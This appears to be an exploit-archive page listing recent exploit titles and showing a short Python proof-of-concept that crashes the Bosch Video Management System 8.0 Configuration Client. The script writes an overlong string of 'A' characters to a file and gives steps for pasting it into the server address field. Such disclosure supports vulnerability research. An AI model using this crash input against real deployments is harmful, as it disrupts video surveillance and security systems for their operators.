1d25aee539
15 changes to exploits/shellcodes AMPPS 2.7 - Denial of Service (PoC) Bosch Video Management System 8.0 - Configuration Client Denial of Service (PoC) ntpd 4.2.8p10 - Out-of-Bounds Read (PoC) SwitchVPN for macOS 2.1012.03 - Privilege Escalation Atlassian Jira - Authenticated Upload Code Execution (Metasploit) iServiceOnline 1.0 - 'r' SQL Injection Helpdezk 1.1.1 - 'query' SQL Injection Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password) EdTv 2 - 'id' SQL Injection Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities Advanced Comment System 1.0 - SQL Injection Rmedia SMS 1.0 - SQL Injection Pedidos 1.0 - SQL Injection Electricks eCommerce 1.0 - Persistent Cross-Site Scripting DoceboLMS 1.2 - SQL Injection / Arbitrary File Upload
30 lines
No EOL
1.2 KiB
Python
Executable file
30 lines
No EOL
1.2 KiB
Python
Executable file
# Exploit Title: Bosch Video Management System 8.0-Configuration Client-Denial of Service (Poc)
|
|
# Discovery by: Daniel
|
|
# Discovery Date: 2018-11-12
|
|
# Software Name: Bosch Video Management System
|
|
# Software Version: 8.0
|
|
# Vendor Homepage: https://www.boschsecurity.com/xc/en/products/management-software/bvms/
|
|
# Software Link: https://la.boschsecurity.com/es/productos/videosystems_1/videosoftware_1/videomanagementsystems_1/boschvideomanagementsyste_8/boschvideomanagementsyste_8_44761
|
|
# Tested on: Windows 10 Pro x64
|
|
|
|
#Make sure that during the installation of software you installed all the program features available.
|
|
#This PoC was carried out in 'Configuration Client', which is part of 'Bosch Video Management System'.
|
|
|
|
# Steps to produce the crash:
|
|
# 1.- run: dos.py
|
|
# 2.- Open bosch.txt and copy content to clipboard
|
|
# 2.- Open Configuration Client (Normally the installer creates a direct link in desktop)
|
|
# 3.- Click on 'Connection:' box and select "Address Book"
|
|
# 4.- Copy clipboard in "(Enterprise) Management Server Address:"
|
|
# 5.- write "test" in 'Username'
|
|
# 6.- Write "test" in 'Password'
|
|
# 7.- Click on 'OK'
|
|
# 8.- Crash
|
|
|
|
|
|
#!/usr/bin/python
|
|
|
|
buf = "\x41" * 64
|
|
f = open('bosch.txt', 'w')
|
|
f.write(buf)
|
|
f.close() |